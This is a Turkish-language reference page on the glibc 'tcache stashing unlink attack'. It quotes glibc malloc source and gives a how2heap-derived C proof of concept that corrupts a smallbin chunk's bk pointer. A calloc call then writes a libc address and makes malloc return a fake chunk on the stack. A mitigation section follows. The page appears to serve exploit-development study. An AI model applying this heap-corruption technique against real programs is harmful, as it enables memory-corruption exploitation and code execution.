Skip to content

tcache stashing unlink attack

calloc artakalan smallbin chunk'larını tcache'e istiflediğinde, kontrolsüz stash döngüsü corrupt edilmiş bir bk üzerinden bir libc adresi yazar ve sonraki bir malloc'un bir fake chunk döndürmesine izin verir.

Mechanism

Suistimal edilen invariant: smallbin→tcache stash döngüsü bck->fd != victim kontrolünü atlar

Küçük bir istek bir smallbin'den karşılandığında, glibc kuyruk chunk'ını bir doğrulama ile unlink eder, sonra fırsatçı biçimde kalan aynı-size chunk'ları tcache'e istifler. İlk unlink kontrol edilir:

bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): smallbin double linked list corrupted");
bin->bk = bck;
bck->fd = bin;

ama ardından gelen stash döngüsü, bck->fd == victim'ı yeniden kontrol etmeden aynı bin->bk = bck; bck->fd = bin; pointer cerrahisini tekrar eder:

while (tcache->counts[tc_idx] < mp_.tcache_count
       && (tc_victim = last (bin)) != bin)
  {
    bck = tc_victim->bk;
    ...
    bin->bk = bck;
    bck->fd = bin;               /* <-- writes a libc addr to bck->fd */
    tcache_put (tc_victim, tc_idx);
  }

İstiflenmiş bir chunk'ın bk'sını bir fake chunk'ı gösterecek şekilde overwrite ederek, döngü bin'i (bir libc/main_arena adresi) fake->fd'ye yazar ve fake chunk bin'e tcache_put edilir. O size'ın sonraki bir malloc'u ardından fake chunk'ı döndürür (örneğin stack'te). calloc, tetiklemek için kullanılır: alloc'ta tcache fast path'ini bypass eder ve doğrudan smallbin'e gider, stash döngüsünü çağırır. Fake'in önceden ayarlanmış bk'sı yazılabilir bir adresi göstermeli ki bck->fd = bin write'ı yasal olsun.

Walkthrough

Referans: shellphish how2heap tcache_stashing_unlink_attack.c (glibc 2.27, 2.29, 2.31'de test edildi).

unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};

// fake_chunk->bk = &stack_var[2] : a writable addr to satisfy bck->fd = bin
stack_var[3] = (unsigned long)(&stack_var[2]);

for (int i = 0; i < 9; i++) chunk_lis[i] = malloc(0x90);  // 9 chunks

for (int i = 3; i < 9; i++) free(chunk_lis[i]);  // fill tcache (chunks 3..8)
free(chunk_lis[1]);                              // last tcache slot
free(chunk_lis[0]);                              // -> unsorted bin
free(chunk_lis[2]);                              // -> unsorted bin (no merge)

malloc(0xa0);          // size > 0x90: sorts chunk0 & chunk2 into a smallbin
malloc(0x90);          // make room: now 5 tcache bins + 2 small bins
malloc(0x90);

// VULNERABILITY: overwrite victim (chunk2)->bk to the fake chunk
chunk_lis[2][1] = (unsigned long)stack_var;

calloc(1, 0x90);       // triggers stash: writes libc addr to stack_var[4]
                       // and links the fake chunk into tcache[0x90]

unsigned long *target = malloc(0x90);   // returns the fake chunk on the stack
assert(target == &stack_var[2]);

Beklenen çıktı:

...
Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now
point to next free chunk: 0x... and the bck->fd has been changed into a libc
addr: 0x7f........
As you can see, next malloc(0x90) will return the region our fake chunk: 0x7ffe........

Tek tetiklemede iki etki

Saldırı hem (a) fake->fd'ye (stack_var[4]) bir libc adresi yazar — bilinen bir değerin arbitrary write'ı — hem de (b) sonraki bir arbitrary allocation için tcache'e bir fake chunk yerleştirir. Fake'in bk'sı (stack_var[3]) yazılabilir bir adres olmalı yoksa bck->fd = bin store'u segfault verir.

Mitigation

  • glibc 2.32+ smallbin partial-unlink kontrolünü ve daha geniş hardening'i ekler, ama stash döngüsünün eksik karşılıklı kontrolü temel kusurdur; attacker'ın kontrol ettiği chunk'ları smallbin'lerden uzak tutan layout'lar kurulumu önler.
  • Attacker'ın etkilediği size'larda calloc güdümlü smallbin yollarından kaçın; teknik, calloc'un stash döngüsüne ulaşmak için alloc tarafındaki tcache'i atlamasına bağlıdır.

References